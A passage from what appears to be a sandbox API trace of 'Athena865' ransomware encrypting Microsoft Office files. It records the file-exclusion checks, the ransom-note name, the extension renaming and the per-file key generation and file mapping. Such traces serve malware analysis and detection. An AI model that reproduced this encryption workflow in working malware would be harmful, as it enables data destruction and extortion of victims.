ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x5f254, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORE.HXS", cAlternateFileName="")) returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2=".") returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="..") returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="windows") returned -1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="bootmgr") returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="temp") returned -1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="pagefile.sys") returned -1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="boot") returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="ids.txt") returned 1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="ntuser.dat") returned -1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="perflogs") returned -1 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2="MSBuild") returned 1 [0143.244] lstrlenW (lpString="MSTORE.HXS") returned 10 [0143.244] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSTORE.HXS" | out: lpString1="MSTORE.HXS") returned="MSTORE.HXS" [0143.244] lstrlenW (lpString="MSTORE.HXS") returned 10 [0143.244] lstrlenW (lpString="Athena865") returned 9 [0143.244] lstrcmpiW (lpString1="STORE.HXS", lpString2="Athena865") returned 1 [0143.244] lstrlenW (lpString=".dll") returned 4 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2=".dll") returned 1 [0143.244] lstrlenW (lpString=".lnk") returned 4 [0143.244] lstrcmpiW (lpString1="MSTORE.HXS", lpString2=".lnk") returned 1 [0143.245] lstrlenW (lpString=".ini") returned 4 [0143.245] lstrcmpiW (lpString1="MSTORE.HXS", lpString2=".ini") returned 1 [0143.245] lstrlenW (lpString=".sys") returned 4 [0143.245] lstrcmpiW (lpString1="MSTORE.HXS", lpString2=".sys") returned 1 [0143.245] lstrlenW (lpString="MSTORE.HXS") returned 10 [0143.245] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.Athena865") returned 68 [0143.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.athena865"), dwFlags=0x1) returned 1 [0143.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.246] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=389716) returned 1 [0143.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.248] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.248] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.248] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f560, lpName=0x0) returned 0x17c [0143.250] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f560) returned 0x2bb0000 [0143.264] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.264] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.264] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.265] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0143.268] CloseHandle (hObject=0x17c) returned 1 [0143.268] CloseHandle (hObject=0x154) returned 1 [0143.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.270] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORE_COL.HXC", cAlternateFileName="MSTORE~1.HXC")) returned 1 [0143.270] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.270] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.270] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2=".") returned 1 [0143.270] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="..") returned 1 [0143.270] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="windows") returned -1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="bootmgr") returned 1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="temp") returned -1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="pagefile.sys") returned -1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="boot") returned 1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="ids.txt") returned 1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="ntuser.dat") returned -1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="perflogs") returned -1 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2="MSBuild") returned 1 [0143.271] lstrlenW (lpString="MSTORE_COL.HXC") returned 14 [0143.271] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSTORE_COL.HXC" | out: lpString1="MSTORE_COL.HXC") returned="MSTORE_COL.HXC" [0143.271] lstrlenW (lpString="MSTORE_COL.HXC") returned 14 [0143.271] lstrlenW (lpString="Athena865") returned 9 [0143.271] lstrcmpiW (lpString1="E_COL.HXC", lpString2="Athena865") returned 1 [0143.271] lstrlenW (lpString=".dll") returned 4 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2=".dll") returned 1 [0143.271] lstrlenW (lpString=".lnk") returned 4 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2=".lnk") returned 1 [0143.271] lstrlenW (lpString=".ini") returned 4 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2=".ini") returned 1 [0143.271] lstrlenW (lpString=".sys") returned 4 [0143.271] lstrcmpiW (lpString1="MSTORE_COL.HXC", lpString2=".sys") returned 1 [0143.271] lstrlenW (lpString="MSTORE_COL.HXC") returned 14 [0143.271] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.Athena865") returned 72 [0143.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.athena865"), dwFlags=0x1) returned 1 [0143.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.274] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=626) returned 1 [0143.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.274] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.275] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.275] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.275] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0143.277] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0143.277] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.278] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.278] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.279] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.279] CloseHandle (hObject=0x17c) returned 1 [0143.279] CloseHandle (hObject=0x154) returned 1 [0143.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.279] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORE_COL.HXT", cAlternateFileName="MSTORE~1.HXT")) returned 1 [0143.279] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.279] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2=".") returned 1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="..") returned 1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="windows") returned -1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="bootmgr") returned 1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="temp") returned -1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="pagefile.sys") returned -1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="boot") returned 1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="ids.txt") returned 1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="ntuser.dat") returned -1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="perflogs") returned -1 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2="MSBuild") returned 1 [0143.280] lstrlenW (lpString="MSTORE_COL.HXT") returned 14 [0143.280] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSTORE_COL.HXT" | out: lpString1="MSTORE_COL.HXT") returned="MSTORE_COL.HXT" [0143.280] lstrlenW (lpString="MSTORE_COL.HXT") returned 14 [0143.280] lstrlenW (lpString="Athena865") returned 9 [0143.280] lstrcmpiW (lpString1="E_COL.HXT", lpString2="Athena865") returned 1 [0143.280] lstrlenW (lpString=".dll") returned 4 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2=".dll") returned 1 [0143.280] lstrlenW (lpString=".lnk") returned 4 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2=".lnk") returned 1 [0143.280] lstrlenW (lpString=".ini") returned 4 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2=".ini") returned 1 [0143.280] lstrlenW (lpString=".sys") returned 4 [0143.280] lstrcmpiW (lpString1="MSTORE_COL.HXT", lpString2=".sys") returned 1 [0143.280] lstrlenW (lpString="MSTORE_COL.HXT") returned 14 [0143.280] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.Athena865") returned 72 [0143.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.athena865"), dwFlags=0x1) returned 1 [0143.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.282] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=206) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.283] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.283] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.283] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.283] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0143.286] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0143.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.287] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.287] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.288] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.288] CloseHandle (hObject=0x17c) returned 1 [0143.288] CloseHandle (hObject=0x154) returned 1 [0143.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.288] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORE_F_COL.HXK", cAlternateFileName="MSTORE~1.HXK")) returned 1 [0143.288] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.288] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.288] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2=".") returned 1 [0143.288] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="..") returned 1 [0143.288] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="windows") returned -1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="bootmgr") returned 1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="temp") returned -1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="boot") returned 1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="ids.txt") returned 1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="perflogs") returned -1 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2="MSBuild") returned 1 [0143.289] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16 [0143.289] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSTORE_F_COL.HXK" | out: lpString1="MSTORE_F_COL.HXK") returned="MSTORE_F_COL.HXK" [0143.289] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16 [0143.289] lstrlenW (lpString="Athena865") returned 9 [0143.289] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0143.289] lstrlenW (lpString=".dll") returned 4 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2=".dll") returned 1 [0143.289] lstrlenW (lpString=".lnk") returned 4 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2=".lnk") returned 1 [0143.289] lstrlenW (lpString=".ini") returned 4 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2=".ini") returned 1 [0143.289] lstrlenW (lpString=".sys") returned 4 [0143.289] lstrcmpiW (lpString1="MSTORE_F_COL.HXK", lpString2=".sys") returned 1 [0143.289] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16 [0143.289] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.Athena865") returned 74 [0143.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.291] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0143.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.291] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.292] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.292] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.292] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.294] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.295] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.295] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.295] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.296] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.296] CloseHandle (hObject=0x17c) returned 1 [0143.296] CloseHandle (hObject=0x154) returned 1 [0143.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.296] HeapFree (in: 